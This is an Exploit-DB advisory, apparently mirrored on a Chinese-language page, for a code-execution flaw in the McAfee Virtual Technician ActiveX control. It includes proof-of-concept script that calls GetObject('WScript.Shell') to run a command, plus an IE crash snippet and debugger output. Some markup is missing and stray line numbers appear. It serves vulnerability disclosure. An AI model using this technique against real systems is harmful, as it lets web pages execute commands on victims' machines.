McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 – ActiveX ‘GetObject()’ Code Execution

Exploit Database
108 阅读

作者： rgod

日期： 2012-04-30
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18805/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control

GetObject() Security Bypass Remote Code Execution Vulnerability

tested against: Microsoft Windows Vista sp2

Microsoft Windows 2003 r2 sp2

Internet Explorer 7/8/9

product homepage: http://www.mcafee.com/it/downloads/free-tools/virtual-technician.aspx

file tested: MVTInstaller.exe

background:

the mentioned product installs an ActiveX control with

the following settings:

Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll

ProgID: MVT.MVTControl.6300

CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF}

Implements IObjectSafety: Yes

Safe for Scripting (IObjectSafety): true

Safe for Initialization (IObjectSafety: false

According to IObjectSafety interface, this control is

safe for scripting, then Internet Explorer will allow

scripting from remote.

Vulnerability:

this control offers the vulnerable GetObject() function,

see typelib:

...

/* DISPID=3 */

/* VT_VARIANT [12] */

function GetObject(

/* VT_VARIANT [12] [in] */ $in_dwObjectID

)

{

/* method GetObject */

}

...

by specifing the ProgID of an arbitrary class from

the underlying operating system, with no regards for browser security,

is possible to load ex. the WScript.Shell class.

The returned object now offers the Exec() method

which can be used to launch operating system commands.

Example of attack:

</object>

var x = obj.GetObject("WScript.Shell");

x.Exec("cmd /c start calc");

</script>

it is also possible to crash the browser

by specifying an arbitrary memory address

</object>

var x = obj.GetObject(0x0c0c0c0c);

</script>

example crash:

eax=0c0c0c0c ebx=0197085c ecx=01b5efec edx=0000008e esi=01b5efec edi=01b5f344

eip=77bd8efa esp=01b5ef80 ebp=01b5ef80 iopl=0 nv up ei pl nz na pe nc

cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206

msvcrt!wcslen+0x8:

77bd8efa 668b08mov cx,word ptr [eax]ds:0023:0c0c0c0c=????

debugger shows an access violation while reading 0x0c0c0c0c,

this could be also exploitable but not demonstrated at the time of this report

As attachment, proof of concept code which executes calc.exe, then crash IE.

additional note:

0:010> lm -vm mvt

startendmodule name

03450000 034b8000 MVT(deferred)

Image path: D:\Program Files\McAfee\Supportability\MVT\MVT.dll

Image name: MVT.dll

Timestamp:Thu Jan 12 07:37:26 2012 (4F0E7FA6)

CheckSum: 0006C308

ImageSize:00068000

File version: 6.3.0.1911

Product version:6.3.0.1911

File flags: 0 (Mask 3F)

File OS:4 Unknown Win32

File type:2.0 Dll

File date:00000000.00000000

Translations: 0409.04e4

CompanyName:McAfee, Inc.

ProductName:McAfee Virtual Technician

InternalName: MVT.dll

OriginalFilename: MVT.dll

ProductVersion: 6.3.0.1911

FileVersion:6.3.0.1911

FileDescription:McAfee, Inc.

<!--

McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control

GetObject() Security Bypass Remote Code Execution PoC

Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll

ProgID: MVT.MVTControl.6300

CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF}

Implements IObjectSafety: Yes

Safe for Scripting (IObjectSafety): true

Safe for Initialization (IObjectSafety: false

//rgod

-->

<html>

</object>

var x = obj.GetObject("WScript.Shell");

x.Exec("cmd /c start calc");

var y = obj.GetObject(0x0c0c0c0c);

</script>

//rgod